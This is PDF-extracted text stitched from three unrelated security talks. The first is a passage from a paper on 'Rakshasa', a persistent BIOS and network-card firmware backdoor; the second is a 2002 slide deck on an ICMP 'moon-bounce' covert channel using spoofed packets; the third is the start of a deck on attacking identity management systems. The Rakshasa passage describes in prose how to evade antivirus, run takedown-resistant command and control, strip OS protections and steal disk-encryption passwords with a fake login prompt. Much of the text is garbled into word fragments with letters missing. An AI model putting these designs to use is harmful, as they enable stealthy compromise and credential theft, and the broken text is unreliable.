y
em
ulating
in
terrupt
0x19,
patc
h
the
k
ernel
on
the
y
,
and
ev
en
tually
load
the
op
erating
system
k
ernel
as
the
user
exp
ects
it,
silen
tly
.
6
Inner
w
orking
of
Rakshasa
Rakshasa
can
t
ypically
b
e
installed
in
one
of
t
w
o
w
a
ys.
The
rst
one
is,
giv
en
ph
ysical
access
to
the
hardw
are,
to
ash
the
BIOS
rm
w
are.
This
can
b
e
ac
hiev
ed
either
b
y
using
a
dedicated
ph
ysical
asher
(usually
made
of
a
FPGA)
7
or
b
y
relying
on
a
generic
rm
w
are
asher
(from
usb
or
a
cdrom
for
instance.
PXE
could
also
b
e
used).
This
op
eration
tak
es
less
than
a
min
ute
in
an
y
case.
The
second
installation
tec
hnique
is
a
p
ost
in
trusion
one
and
do
esn't
require
ph
ysical
access
to
the
hardw
are
at
all
:
once
an
attac
k
er
has
ac
hiev
ed
remote
ro
ot
on
a
computer,
he
can
use
the
same
generic
asher
to
install
Rakshasa
in
place
of
the
original
BIOS.
In
case
the
op
erating
system
is
not
a
Lin
ux,
one
can
simply
piv
ot
o
v
er
the
MBR
upp
on
next
reb
o
ot.
T
o
ac
hiev
e
redundancy
and
a
v
oid
single
p
oin
ts
of
failure,
the
net
w
ork
card
rm
w
are
is
also
ashed
with
a
rogue
iPXE
rm
w
are.
Optionally
,
a
second
PCI
rm
w
are
can
b
e
replaced
b
y
a
mo
died
v
ersion
of
iPXE
(t
ypically
the
cdrom).
It
is
unfortunatly
not
p
ossible
to
main
tain
the
functionalit
y
of
this
second
device
when
doing
so
for
the
time
b
eing
(though
this
is
an
implemen
tation
issue
and
not
a
theorical
one).
If
the
BIOS
ev
er
attempted
to
b
o
ot
from
this
second
device,
the
net
eect
w
ould
b
e
the
same
:
the
computer
w
ould
really
b
o
ot
6
In
other
w
ords
,the
ro
ot
cause
of
the
problems,
namely
a
writable
BIOS
and
a
passiv
e
TPM
are
not
solv
ed
with
UEFI.
7
This
metho
d
has
the
main
adv
an
tage
of
b
ypassing
an
ti-ashing
coun
ter
measures
suc
h
as
rm
w
are
signing
on
certain
motherb
oards.
8
from
iPXE,
that
is,
from
the
net
w
ork.
iPXE
is
capable
of
attempting
actions,
and
p
erform
other
ones
upp
on
failure.
T
o
maximize
our
c
hances
of
w
orking
in
an
y
giv
en
en
vironmen
t,
w
e
ha
v
e
congured
iPXE
to
rst
attempt
to
connect
to
the
in
ternet
via
wi.
A
n
um
b
er
of
common
SSIDs
and
ev
en
wi
cyphers
can
b
e
sp
ecied
at
compile
time.
T
ypically
,
w
e'll
try
to
b
o
ot
from
an
attac
k
er
dened
SSID/WEP
access
p
oin
t.
In
case
of
failure,
w
e'll
try
to
connect
to
a
(short)
list
of
common
public
SSIDs
usually
asso
ciated
with
op
en
wireless
access
p
oin
ts.
The
main
adv
an
tage
of
relying
on
wi
is
to
b
ypass
an
y
net
w
ork
ltering
or
detection
mec
hanism
in
corp
orate
en
vironmen
ts.
As
a
matter
of
fact,
ev
en
if
Rakshasa
w
as
to
b
e
used
in
a
large
organisation
whose
access
to
the
in
ternet
is
normally
done
through
an
authen
ticating
pro
xy
,
ev
en
if
I(D|P)S
w
ere
to
b
e
found
in
this
net
w
ork,
ev
en
if
prop
er
DNS
segregation
w
as
in
place,
the
simple
fact
of
using
encrypted
wi
as
a
link
la
y
er
w
ould
totally
breac
h
the
net
w
ork
p
erimeter
and
render
all
those
costly
devices
en
tirely
useless.
If
Rakshasa
still
didn't
manage
to
get
access
to
the
in
ternet,
it
w
ould
attempt
to
aquire
an
IP
address
from
DHCP
o
v
er
ethernet,
and
default
to
a
c
hosen
reasonable
static
LAN
IP
in
case
ev
erything
else
failed.
Sp
eed
is
indeed
critical
to
remain
unoticed,
and
some
of
those
settings
can
b
e
skipp
ed
b
y
mo
di-
fying
a
simple
conguration
le
at
compile
time.
If
at
this
stage
Rakshasa
still
didn't
get
access
at
least
to
the
LAN,
it
w
ould
simply
b
o
ot
the
default
op
erating
system
to
a
v
oid
b
eing
detected.
A
t
this
stage,
Rakshasa
can
p
erform
a
n
um
b
er
of
things.
Assuming
it
didn't
managed
to
connect
to
the
in
ternet
o
v
er
wi
but
simply
ethernet
access,
it
could
attempt
to
attac
k
hosts
reac
hable
on
the
LAN
using
virtually
an
y
proto
col
based
on
top
of
IPv4/IPv6
or
icmp.
This
can
include,
based
on
a
simple
iPXE
conguration
le
:
icmp
host
en
umeration,
tcp/dns
p
ort
scanning,
router
pharming
(o
v
er
h
ttp/h
ttps),
exploiting
net
w
ork
deamons
or
net
w
ork
stac
ks
(ping
of
death,
ip
v6
attac
ks,
sending
broad-
cast
trac,
sm
urf/DDoS
attac
ks,
exploiting
remote
o
v
ero
ws
in
an
ything
routable,
etc.).
One
could
for
instance
attempt
to
mo
dify
the
settings
of
an
ADSL
router
to
op
en
p
orts.
This
is
not
b
eliev
ed
to
b
e
sp
ecially
smart
or
stealth,
so
this
feature
is
only
men
tioned
for
the
sak
e
of
completeness.
As
a
matter
of
fact,
acting
as
suc
h
w
ould
b
e
con
trary
to
our
agreed
princip
e
of
"plausible
deniabilit
y"
since
hostile
co
de
w
ould
b
e
em
b
edded
on
the
bac
kdo
ored
mac
hine...
Rakshasa
will
then
t
ypically
try
to
connect
to
a
giv
en
host
on
the
in
ternet
o
v
er
h
ttps
(sa
y
go
ogle.com
b
ecause
it
is
unlik
ely
to
trigger
alarms,
ev
en
if
the
connection
is
op
erated
o
v
er
an
ethernet
link).
In
case
it
succeeds,
Rakshasa
will
assume
it
has
full
access
to
the
in
ternet.
In
the
opp
osite
case
(whic
h
could
happ
en
if
the
infected
computer
had
no
wi
card
and
the
net
w
ork
w
as
segregated
b
y
an
authen
ticating
rew
all),
Rakshasa
could
attempt
to
reac
h
the
in
ternet
via
TCP
o
v
er
DNS
(whic
h
w
ould
suce
if
the
net
w
ork
didn't
had
prop
er
DNS
segregation
b
et
w
een
the
LAN
and
the
outside
w
orld)
or
TCP
o
v
er
icmp
(wh
y
not
!).
As
the
astute
reader
shall
ha
v
e
understo
o
d
b
y
no
w,
the
sky
is
the
limit
:
enhancing
the
capabilities
of
Rakshasa
is
really
a
matter
of
adding
a
few
lines
of
text
to
its
iPXE
conguration
le,
and
in
the
w
orst
case
scenario
to
sligh
tly
patc
h
the
existing
net
w
ork
stac
ks
to
attempt
new
exotic
proto
cols
8
.
Ev
en
if
access
to
the
in
ternet
often
fails,
it
isn't
really
a
problem
:
sp
oradic
access
to
an
op
en
wi
net
w
ork
in
a
airp
ort
or
from
a
domestic
net
w
ork
w
ould
b
e
enough
to
upgrade
Rakshasa
from
time
to
time.
Once
full
access
to
the
in
ternet
is
ac
hiev
ed
(ev
en
ev
ery
so
often),
Rakshasa
will
normally
do
wnload
a
b
o
otkit
from
a
giv
en
lo
cation
on
the
in
ternet,
suc
h
as
a
le
called
"fo
obar.p
df"
on
a
giv
en
blog
o
v
er
h
ttps,
"data.dat"
from
a
ftp
one
etc.
It
is
w
orth
men
tioning
that
there
again,
m
ultiple
tries
are
allo
w
ed,
whic
h
oer
greater
resilience
against
a
sh
utdo
wn
of
the
main
command
and
con
trol
(a
simple
blog
?)
from
la
w
enforcemen
t.
Ha
ving
a
n
um
b
er
of
hostnames
or
IP
adresses
and
p
ossibly
services
(ev
en
though
h
ttps
is
really
probably
the
safest
option,
and
it
will
b
e
the
only
one
considered
in
the
remaining
of
8
This
is
again
not
recommended
:
k
eeping
iPXE
as
close
to
the
original
co
de
as
p
ossible
is
desirable
to
prev
en
t
an
tivirii
from
nding
an
y
signature
and
stic
k
to
the
golden
rule
of
plausible
deniabilit
y
:
"this
co
de
is
absolutly
legit,
it
is
simply
iPXE".
9
this
pap
er)
to
try
to
do
wnload
from
also
increases
resiliance.
Last
but
not
least
:
iPXE
can
c
hain
conguration
les
b
y
do
wnloading
them
from
the
in
ternet.
Meaning
that
no
direct
reference
to
the
nal
hostile
b
o
otkit
needs
to
b
e
made
from
Rakshasa
itself
(the
co
de
placed
on
the
computer
therefore
con
tains
0
hostile
co
de
p
er
si
:
there
is
absolutly
no
reason
for
an
an
tivirus
to
ag
it
as
suc
h
9
.).
It
is
w
orth
noticing
that
if
the
remote
b
o
otkit
is
ev
er
replaced
b
y
a
BIOS
asher,
Rakshasa
can
b
e
up
dated
remotely
!
Flashing
PCI
rm
w
ares
is
a
bit
tougher
:
rst
of,
PCI
ashing
to
ols
are
(v
ery)
v
endor
sp
ecic.
In
order
to
ash
the
correct
PCI
rm
w
are
on
a
giv
en
net
w
ork
card,
the
remote
w
eb
site
acting
as
a
command
and
con
trol
w
ould
need
to
kno
w
who
is
the
man
ufacturer
of
the
card.
F
ortunatly
,
iPXE
allo
ws
through
a
set
of
functions
sending
the
MA
C
address
of
the
ethernet
card
as
a
parameter
in
a
url
10
.
F
rom
the
MA
C
address,
a
simple
php
script
placed
on
the
command
and
con
trol
serv
er
can
extract
the
OUI
n
um
b
er
(rst
1024
bits)
and
therefore
deduce
the
man
ufacturer.
F
rom
there,
the
command
and
con
trol
w
ebsite
can
return
the
ashing
to
ol
and
rm
w
are
suitable
for
the
sp
ecic
device
to
b
e
ashed
under
the
form
of
a
b
o
otable
GNU/Lin
ux
en
vironmen
t
that
will
em
ulate
an
in
terruption
0x19
and
b
o
ot
the
main
OS
when
done.
The
second
problem
comes
from
the
fact
that
some
PCI
de-
vices
feature
a
ph
ysical
switc
h
that
m
ust
b
e
man
ually
mo
v
ed
b
efore
upgrading
the
rm
w
are.
This
is
in
fact
not
an
issue
since
a
PCI
exp
ension
R
OM
can
b
e
placed
directly
inside
Coreb
o
ot
and
will
ha
v
e
precedence
o
v
er
the
one
ph
ysically
presen
t
on
the
device.
Finally
,
the
same
up
date
mec
hanism
can
b
e
used
to
desinfect
the
BIOS
remotely
b
y
restoring
the
original
BIOS
R
OM
instead
of
p
erforming
a
regular
Ralshasa
upgrade.
7
Em
b
edded
features
of
Rakshasa
Because
of
the
design
of
Rakshasa,
an
y
b
o
otkit
can
b
e
used
along
with
our
bac
kdo
or
without
an
y
mo
dication,
b
y
simply
c
hanging
the
malicious
pa
yload
do
wnloaded
from
the
command
and
con
trol
blog
(without
requiring
an
y
adjustemen
t
on
the
bac
kdo
ored
computer).
The
activ
e
pa
yload
of
Rakshasa
b
eing
rst
executed
as
a
main
op
erating
system
(from
16b
real
mo
de),
it
can
do
an
ything
an
op
erating
system
can
do.
In
particular,
it
can
p
erform
an
y
op
eration
state
of
the
art
b
o
otkits
can
do,
suc
h
as
patc
hing
the
authen
tication
routine
of
Windo
ws
to
allo
w
login
lo
cally
with
an
y
passw
ord.
The
same
routine
b
eing
used
when
authen
ticating
via
Remote
Desktop
on
Windo
ws,
this
could
b
e
enough
to
ev
en
tak
e
con
trol
of
the
computer
remotely
.
Other
tec
hniques
suc
h
as
injecting
an
unsigned
k
ernel
driv
er
that
will
in
turn
execute
an
arbitrary
pro
cess
(injected
b
y
the
b
o
otkit
itself
)
with
SYSTEM
privileges
in
userland
without
touc
hing
the
le
system
has
also
b
een
pro
v
ed
practical
(this
is
indeed
more
than
enough
to
tak
e
full
con
trol
of
the
computer
remotely
:
a
rev
erse
meterpreter
o
v
er
HTTPS
-
p
ossibly
after
injecting
a
dll
in
to
a
w
eb
bro
wser
to
b
ypass
rew
alling
restrictions
at
OS
lev
el,
and
pulling
the
ev
en
tual
pro
xy
creden
tials
from
the
registry
or
using
in
ternal
Windo
ws
API
is
also
practical
and
public
co
de
exists
to
p
erform
all
those
actions).
F
or
our
pro
of
of
concept,
w
e
got
a
bit
of
help
from
Piotr
Bania,
who
kindly
customized
a
v
ersion
of
his
great
commercial
K
on-b
o
ot
b
o
otkit
to
b
o
ot
silen
tly
(that
is
to
sa
y
without
the
fancy
16b
demo-lo
oking
graphics,
whic
h
are
indeed
impressiv
e
but
quite
detrimen
tal
to
a
bac
kdo
or's
stealthness...).
K
on-b
o
ot
is
a
v
ery
adv
anced
b
o
otkit
capable
of
generically
patc
hing
the
authen
tication
routine
of
an
y
windo
ws
from
Windo
ws
XP
to
Windo
ws
7
and
2008,
b
oth
in
32b
and
64b.
If
the
OS
is
a
Windo
ws
a
v
or,
w
e
can
disable
ASLR
b
y
patc
hing
the
seed
used
for
randomization
with
a
c
hosen
v
alue
11
.
W
e
can
also
remo
v
e
the
NX
bit
from
the
P
age
T
able
En
try
directly
in
RAM
12
.
The
com-
bined
eect
of
those
t
w
o
alterations
is
to
lea
v
e
the
address
space
of
an
y
application
with
executable
data
9
If
an
an
tivirus
ev
er
did
it,
it
w
ould
actually
b
e...
a
false
p
ositiv
e
!!
10
This
is
ev
en
do
cumen
ted
on
their
w
ebsite
at:
h
ttp://ip
xe.org/cfg/mac.
11
This
exact
lo
cation
has
b
een
do
cumen
ted
b
y
Kumar
and
Kumar
at
HITB
Mala
ysia
in
2010.
12
As
demonstrated
b
y
Dan
Rosen
b
erg
in
his
remote
k
ernel
exploit
presen
ted
at
Defcon
2011.
10
(that
is:
data/bss/heap/stac
k)
and
100
p
er
cen
t
predictable
mappings.
In
other
w
ords,
an
y
future
vul-
nerabilit
y
aecting
this
op
erating
system
is
going
to
b
e
trivial
to
exploit
(w
eap
onized
b
y
default
!).
This
is
equiv
alen
t
to
remo
ving
most
of
the
securit
y
enhancemen
ts
ac
hiev
ed
b
y
Microsoft
in
the
past
10
y
ears.
But
this
is
not
quite
enough
:
w
e'd
lik
e
to
b
e
able
to
attac
k
other
(p
ossibly
unkno
wn
at
the
time
of
bac
kdo
oring)
op
erating
systems
generically
.
Since
w
e
in
fact
con
trol
more
than
just
the
malicious
pa
y-
load
but
the
en
tire
b
o
oting
pro
cess
since
the
rst
bit
of
BIOS
R
OM
is
executed,
w
e
can
do
a
lot
more.
In
particular,
w
e
can
remo
v
e
cpu
micro
co
de
up
dates
from
Coreb
o
ot.
The
BIOS
is
the
place
of
c
hoice
to
push
cpu
upgrades
:
if
w
e
remo
v
e
those
micro
co
des,
then
the
cpu
bugs
and
p
oten
tial
vulnerabilities
normally
xed
at
this
lev
el
will
remain
exploitable.
W
e
can
also
remo
v
e
an
ti
SSM
protections,
whic
h
will
ha
v
e
the
net
eect
of
letting
the
Op
erating
System
vulnerable
to
a
generic
public
lo
cal
exploit[20
℄.
A
t
this
stage
of
the
demonstration,
it
should
b
e
clear
that
once
Rakshasa
has
b
een
installed
on
a
giv
en
hardw
are,
the
securit
y
of
the
Op
erating
System
cannot
b
e
ensured
an
ymore.
8
Ho
w
to
prop
erly
build
a
b
otnet
from
the
BIOS
:
BIOSBonets
.
Some
ma
y
argue
that
the
w
eak
est
p
oin
t
in
the
arc
hitecture
presen
ted
so
far
lies
in
the
blog
used
as
a
command
and
con
trol.
It
is
ab
out
time
w
e
dem
ystify
some
b
elief
in
the
insecurit
y
of
b
otnets
:
if
v
endors
can
p
erform
secure
up
dates,
and
Microsoft
seems
to
ha
v
e
mostly
done
so
for
the
past
10
y
ears
13
,
then
there
is
absolutly
no
reason
wh
y
malw
are
writters
could
not
do
the
same.
The
w
eak
est
p
oin
t
of
b
otnets
arc
hitectures
to
da
y
is
certainly
the
a
v
ailabilit
y
of
their
command
and
con
trol.
Whenev
er
a
hostname
is
iden
tied
b
y
la
w
enforcemen
t
agencies
as
a
C
and
C,
they
t
ypically
p
erform
a
DNS
tak
e
o
v
er,
redirect
the
DNS
to
a
public
IP
they
con
trol,
and
send
a
sh
utdo
wn
command
to
an
y
infected
host
connecting
to
this
IP
.
Den
ying
la
w
enforcemen
t
agencies
(or
who
ev
er
else)
the
capabilit
y
to
send
a
sh
utdo
wn
command
to
a
b
otnet
is
relativ
ely
easy
:
all
it
really
tak
es
is
to
digitally
sign
the
commands
using
strong
assymetric
cryptograph
y
.
The
up
dates
of
Rakshasa
could
also
b
e
digitally
signed,
whic
h
w
ould
prev
en
t
mo
dica-
tion
of
the
up
dates
b
y
the
same
agencies.
This
w
a
y
,
in
tegrit
y
is
ensured.
The
only
remaining
problem
is
the
a
v
ailabilit
y
(at
least
partial
and
sp
oradic
:
after
all,
w
e
probably
don't
need
to
upgrade
our
bac
kdo
or
at
ev
ery
reb
o
ot
strictly
sp
eaking)
of
the
command
and
con
trol.
A
trivial
w
a
y
to
solv
e
this
issue
is
to
ha
v
e
a
rotativ
e
command
and
con
trol
that
is
randomly
pic
k
ed
b
y
Rakshasa
ev
ery
time
from
a
random
address
accross
all
the
in
ternet
IP
range
14
.
There
again,
the
bac
kdo
or
w
ould
b
e
upgraded
less
often,
but
the
command
and
con
trol
could
simply
not
b
e
sh
ut
do
wn.
Finally
,
em
b
edding
clien
t
side
SSL
certicates
on
the
bac
kdo
or
w
ould
prev
en
t
trivial
detection
of
com-
mand
and
con
trol
hosts
b
y
scanning
all
the
in
ternet
for
giv
en
les.
It
is
w
orth
men
tioning
that
Coreb
o
ot
is
capable
of
using
its
o
wn
em
b
edded
CMOS
image,
hence
lea
ving
the
real
CMOS
n
vram
a
v
ailable
to
store
v
olatile
cryptographic
k
eys.
By
using
this
feature
as
w
ell
as
hardw
are
ngerprin
ting
(t
ypically
the
MA
C
address)
to
regenerate
decryption
k
eys
at
eac
h
reb
o
ot,
it
is
p
ossible
to
create
a
bac
kdo
or
extremely
hard
to
extract
from
the
bac
kdo
ored
hardw
are
(eg:
it
can't
b
e
simply
copied
in
to
a
virtal
mac
hine
for
analysos).
W
e
b
eliev
e
a
BIOSBotnet
rela
ying
on
suc
h
an
arc
hitecture
can
literally
not
b
e
sh
ut
do
wn.
13
Mo
dulo
the
Flame
w
orm,
whic
h
seems
to
ha
v
e
spread,
among
other
v
ectors,
thanks
to
a
rogue
cryptographic
certicate
based
on
a
rogue
MD5
hash
collision
-using
an
unkno
wn
tec
hnique
at
the
time
of
writting-
and
b
y
hijac
king
DNS
answ
ers
to
the
Microsoft
up
date
serv
er.
14
In
p
cractice,
a
large
subset
including
a
sucien
t
n
um
b
er
of
non
con
troled
IP
w
ould
suce
:
la
w
enforcemen
t
agencies
are
unlik
ely
to
ev
er
sh
ut
do
wn
the
whole
A
T&T
range
or
sa
y
go
ogle.com.
11
9
Wh
y
(p
ossibly
hardw
are
assisted)
encryption
w
on't
solv
e
the
problem
A
t
this
stage
of
the
demonstration,
some
ma
y
b
eliev
e
cryptograph
y
,
and
in
particular
full
disk
cryp-
tograph
y
com
bined
with
TPM
shall
prev
en
t
the
bac
kdo
or
from
doing
an
y
damage.
W
e
shall
therefore
discuss
those
tec
hnologies
in
the
presen
t
c
hapter.
First
of,
F
ull
Disk
Encryption
(FDE)
in
itself
has
b
een
pro
v
ed
vulnerable
to
m
ultiple
implemen
tation
a
ws[23
℄[24℄,
and
can
often
b
e
attac
k
ed
via
bruteforce[25
℄,
but
in
all
generalit
y
,
it
as
simply
b
een
pro
v
ed
not
to
prev
en
t
b
o
otkitting
at
all
when
not
asso
ciated
with
TPM[13℄.
W
e
briey
prop
ose
a
v
arian
t
of
the
evil
maid[26℄
attac
k
applicable
to
the
scenario
of
Rakshasa
ha
ving
to
b
ypass
suc
h
a
securit
y
feature.
First
of,
TPM
b
eing
a
passiv
e
c
hip,
Rakshasa
can
still
b
o
ot
a
remote
OS
silen
tly
,
w
ether
TPM
is
presen
t
or
not.
Let's
rst
assume
TPM
is
not
presen
t.
Instead
of
fetc
hing
a
b
o
otkit,
Rakshasa
can
detect
that
the
rst
b
o
otable
hard
driv
e
is
en
trypted,
and
b
o
ot
a
small
op
erating
system
mimic
king
the
login
prompt
of
the
FDE,
w
ait
for
the
user
to
en
ter
their
creden
tials,
sa
v
e
the
passw
ord
to
CMOS,
optionally
sending
the
passw
ord
bac
k
to
the
command
and
con
trol
serv
er.
Once
the
passw
ord
is
kno
wn,
Rakshasa
can
disable
in
terrupt
0x10
(video)
em
ulate
an
in
terruption
0x19
to
reload
the
real
b
o
ot
loader,
sim
ulate
k
eyb
oard
t
yping[23
℄
in
16b
real
mo
de
b
y
programming
directly
the
PIC
micro
con
trolers
em
b
edded
in
b
oth
the
k
eyb
oard
and
the
motherb
oard,
and
ev
en
tually
let
the
system
b
o
ot
normally
.
Let's
no
w
assume
TPM
is
indeed
presen
t
:
if
the
mac
hine
w
as
bac
kdo
ored
b
efore
the
conguration
w
as
sealed
with
TPM
(t
ypically
:
the
mac
hine
w
as
bac
kdo
ored
b
y
the
man
ufacturer
or
b
y
an
y
one
in
the
supply
c
hain
b
efore
deliv
ery),
the
attac
k
is
absolutly
unc
hanged.
The
only
case
where
TPM
is
mo
deratly
usefull
is
if
Rakshasa
w
as
installed
after
the
TPM
w
as
sealed.
Ev
en
in
this
later
case,
Rakshasa
can
still,
b
o
ot
a
remote
fak
e
login
prompt
(and
ev
en
an
en
tire
fak
e
OS
!)
since
once
again,
TPM
is
passiv
e.
Optionally
,
the
bac
kdo
or
can,
after
stealing
the
user
creden
tials
and
sending
them
to
the
command
and
con
trol,
ash
the
original
BIOS
bac
k
(ak
a:
desinfect
the
mac
hine)
and
p
erform
a
hard
reb
o
ot.
Upp
on
next
reb
o
ot,
the
attac
k
w
ould
remain
unoticed
(as
FDE
w
ould
w
ork
again).
12
10
Remediation
11
Conclusion
13
12
A
c
kno
wledgemen
ts
W
e
w
ould
lik
e
to
thank:
Floren
tin
Demetrescu,
mem
b
er
of
the
Coreb
o
ot
pro
ject,
without
whom
this
researc
h
w
ould
ha
v
e
nev
er
started
in
rst
place.
Piotr
Bania,
for
kindly
con
tributing
a
custom
v
ersion
of
k
on-b
o
ot
to
facilitate
this
pro
of
of
concept.
The
T
oucan
System
team
b
oth
in
F
rance
and
Australia
:
I
w
ouldn't
b
e
doing
researc
h
without
y
our
con
tin
uous
moral
and
tec
hnical
bac
kdup.
The
Hac
kito
Ergo
Sum
team,
Programming
comitee,
Sp
eak
ers
and
attendees
for
their
constan
t
passion.
Matthieu
Suic
he,
Mark
Do
wd,
T
arjei
Mandt,
Sid,
Meder
Kyderaliev,
Cesar
Cerrudo,
F
y
o
dor
Y
aroshkin
Ro
drigo
"BS-
Deamon"
Branco,
Silvio
Cesare,
Tim
shelton,
Andrewg,
Nemo,
Mercy
,
Caddis,
TGO,
Dan
Rosen
b
erg,
Morla,
mxn,
Xort,
the
Grugq,
Nergal,
Pipax,
Sp
ender,
FX
and
the
en
tire
Pheno
elite
crew,
for
their
friendship,
inspiration,
h
umilit
y
,
passion
and
supp
ort.
All
those
I
ha
v
en't
men
tioned
here
but
help
me
c
hallenge
m
yself
(y
ou
kno
w
who
y
ou
are),
the
HITB,
Recon,
H2HC,
CBA
Cert,
Ruxcon
teams,
as
w
ell
as
the
SV
C.
#so
cial,
#blac
ksec,
#busticati.Thanks
heaps
:
y
ou
made
me
write
this
;)
14
References
1.
Duot,
L.:
Securit
y
issues
related
to
p
en
tium
system
managemen
t
mo
de,
CanSecW
est
(2006)
2.
In
tel:
Extensible
rm
w
are
in
terface
sp
ecications
v1.10
(2003)
3.
In
tel:
Unied
extensible
rm
w
are
in
terface
sp
ecications
(2005)
4.
PCI-SIG:
P
eripheral
comp
onen
t
in
terconnect
sp
ecications
lb3
v0.2.6
(2004)
5.
Coreb
o
ot:
(Coreb
o
ot
-
formerly
lin
uxbios)
6.
Coreb
o
ot:
(Seabios
-
op
en
source
implemen
tation
of
a
16bit
x86
bios)
7.
iPXE:
(ip
xe
-
op
en
source
b
o
ot
rm
w
are)
8.
Northrop-Grumman-Corp:
Occup
ying
the
information
high
ground:
Chinese
capabilities
for
com-
puter
net
w
ork
op
erations
and
cyb
er
espionage
(2012)
9.
Saco,
A.,
Ortega,
A.:
P
ersistan
t
bios
infection,
CanSecW
est
(2009)
10.
Heasman,
J.:
Firm
w
are
ro
otkits
and
the
threat
to
the
en
terprise,
Blac
khat
USA
(2007)
11.
So
eder,
D.,
P
ermeh,
R.:
Bo
otro
ot,
Blac
khat
USA
(2005)
12.
Kumar,
Kumar:
Bo
otkit
2.0
:
A
ttac
king
windo
ws
7
via
b
o
ot
sectors,
Hac
kinTheBo
x
(2010)
13.
Kleissner,
P
.:
Stoned
b
o
otkit,
Blac
khat
USA
(2009)
14.
Bania,
P
.:
K
on-b
o
ot
(2008)
15.
Roux,
P
.L.:
(T
ruecrypt
-
free
op
en-source
on-the-y
disk
encryption
soft
w
are)
16.
P
aX:
(A
ddress
space
la
y
out
randomization)
17.
IBM:
(Connector
bus
isa
(industry
standard
arc
hitecture))
18.
PCI-SIG:
Pci
exptress
base
r3.0
v1.0
(2010)
19.
AMD:
(I/o
virtualization
tec
hnology
(iomm
u)
sp
ecication
revision
1.26)
20.
BSDaemon-Coidelok
o-D0nAnd0n:
System
managemen
t
mo
de
hac
k
using
smm
for
"other
purp
oses".
(Phrac
k
magazine)
21.
T
rusted-Computing-Group:
(T
rusted
platform
mo
dule
sp
ecications)
22.
In
tel:
(The
preb
o
ot
execution
en
vironmen
t
sp
ecication
v2.1)
23.
Brossard,
J.:
Bypassing
preb
o
ot
authen
tication
passw
ords
b
y
instrumen
ting
the
bios
k
eyb
oard
buer,
Defcon
(2008)
24.
Brossard,
J.:
Bios
information
leak
age.
(2005)
25.
Brossard,
J.:
Bruteforcing
preb
o
ot
authen
tication
passw
ords,
h2hc
conference
(2009)
26.
Rutk
o
wsk
a,
J.:
Evil
maid
go
es
after
truecrypt!
(2009)
15 | pdf |
Stealth Data Dispersion
ICMP Moon-Bounce
Saqib A. Khan, Principal
[email protected]
Latest Version @ http://SecurityV.com/research
Copyright 2002 Security Verification, Inc.
All rights reserved.
Definition
Stealth Data Dispersal is an asynchronous
covert channel
Copyright 2002 Security Verification, Inc.
All rights reserved.
Project Goal
Reside small amounts of data on the “ether”
(within network traffic) rather than fixed
physical storage.
Copyright 2002 Security Verification, Inc.
All rights reserved.
Project Benefit
Data becomes highly survivable in case of
catastrophic failure/removal of Network Hosts
Copyright 2002 Security Verification, Inc.
All rights reserved.
Preferred Embodiment
Dispersal of small amounts of data (< 1500
bytes = PPP MTU)
Data stays “alive” on the wire vs. a storage
device, as long as possible
Data is retrieved or refreshed before data
expires on the “wire”
Copyright 2002 Security Verification, Inc.
All rights reserved.
Core TCP/IP Impediment
TTL limits all TCP/IP packets to expire
automatically after 255 hops!
Packets which reach limit are automatically discarded
Copyright 2002 Security Verification, Inc.
All rights reserved.
Candidate TCP/IP Protocols
1.
ICMP (Inet Control Message Protocol)
•
Implementation required on all TCP/IP stacks
•
Echo Replies required to echo back original
“Request” data
•
Universally available – Print servers, etc
•
Fair amount of ICMP traffic always present on
the wire, ergo stealthy
Copyright 2002 Security Verification, Inc.
All rights reserved.
Candidate TCP/IP Protocols
2.
Multicast/IGMP (Inet Group Mgmt Protocol)
•
Designed for communicating between single
Source to multiple Destinations (utilizing single
transmission)
•
Very large amount of data can be found on the
wire at any time (being used to broadcast
numerous audio streams, etc), ergo very
stealthy!
Copyright 2002 Security Verification, Inc.
All rights reserved.
ICMP Moon-Bounce
Basic Operation: Bounce data
between 2 Hosts utilizing an
intermediary Victim Host.
Process:
1.
A sends spoofed Echo Request pkt
-> V (w/ B’s Src Addr)
2.
V Echo Reply’s -> B, inadvertently
echo-ing A’s data
3.
B Ack’s A directly, signaling data
received.
4.
B repeats A’s procedure to return
data
Data is now bouncing between
2 Hosts!
PS - Doubles as a good synchronous covert channel,
as well!
A
B
1- Src = B, Dst = V
Data = *Key*
2- Src = V, Dst = B
Data = *Key*
*Key*
V
Copyright 2002 Security Verification, Inc.
All rights reserved.
Moon-Bounce Dispersal
A
B
<255 Hops
<255 Hops
C
<255 Hops
V1
V3
V4
V2
Ad
Infinitum
1st pkt
2nd pkt …
<255 Hops
Copyright 2002 Security Verification, Inc.
All rights reserved.
Moon-Bounce Accomplishes
1.
Possible data dispersal over 1020 hops (255 x 4)
per co-operating Host! (as long as routes are
chosen carefully)
2.
Double your pleasure! (double hops available
utilizing spoofing)
3.
Delayed packet releases over mulitple routes
ensures intermediary Hosts capable of detecting
failure and responding!
Copyright 2002 Security Verification, Inc.
All rights reserved.
Conclusions
1.
Stealth Data Dispersal is possible utilizing current TCP/IP
Protocol manipulation
2.
It can be achieved very efficiently
3.
It can very stealthy and should be able to bypass most
defenses unhindered
4.
The ICMP Moon-bounce has been rumored to be used as a
covert channel by dark government agencies!!!
•
Further research on using Multicast/IGMP and proof of
concept tools, etc currently under way @
•
http://SecurityV.com/research
Thank you! | pdf |
Stealing Identity Management
Systems
Part I: Background of Identity
Management systems, and some
philosiphy on attacking them
What are identity Management
Systems?
Theory of IDM
Some specific products
Some common configurations
Theory of IDM
The system connecting two or more systems that hold
Identities (some concept of a physical or logical user)
Continuously manage those Identities based on a set of
business rules
Management of the identity throughout the lifecycle of
the identity
Provisioning => Granting / Revoking privileges and
changing Authentication tokens => Deprovisioning
All done in a way that can be proved and audited
Some specific products
Novell Identity Manager
Microsoft Identity Integration Server
Sun Java System Identity Manager
CA Identity Manager
IBM Tivoli Identity Manager
Who's running IDM? *
Allianz Suisse, Allied Irish Bank, Alvarado
Independent School District, America First Credit
Union, American National Standards Institute,
Bezirk Oberbayern, Bezirk Oberbayern,
Bridgepoint Health, Catholic Healthcare West,
City of Peterborough, Continuum Health Partners,
Coop, De Montfort University, Department of
Enterprise, Trade & Employment (DETE),
Deutsche Annington
* - This is just from Novell's list of succes stories: http://www.novell.com/servlet/CRS?reference_name=&-
op=%25&Action=Start+Search&Submit=Start+Search&source=novl&full_text_limit=showcase_verbiage+%2C+press_
release&MaxRows=0&&solutions=4&&language_id=0®ion_id=0&country_id=0&industry=0
Who's running IDM?
Eastern Michigan University, Fairchild
Semiconductor, Fairfax County Public Schools,
Furukawa Electric, GEHE, GKB, Gundersen
Lutheran, Indiana State University, James
Richardson International, JohnsonDiversey,
Kanton Thurgau, Leiden University, Macmahon
Holdings Ltd, Maine Medical Center, Miyazaki
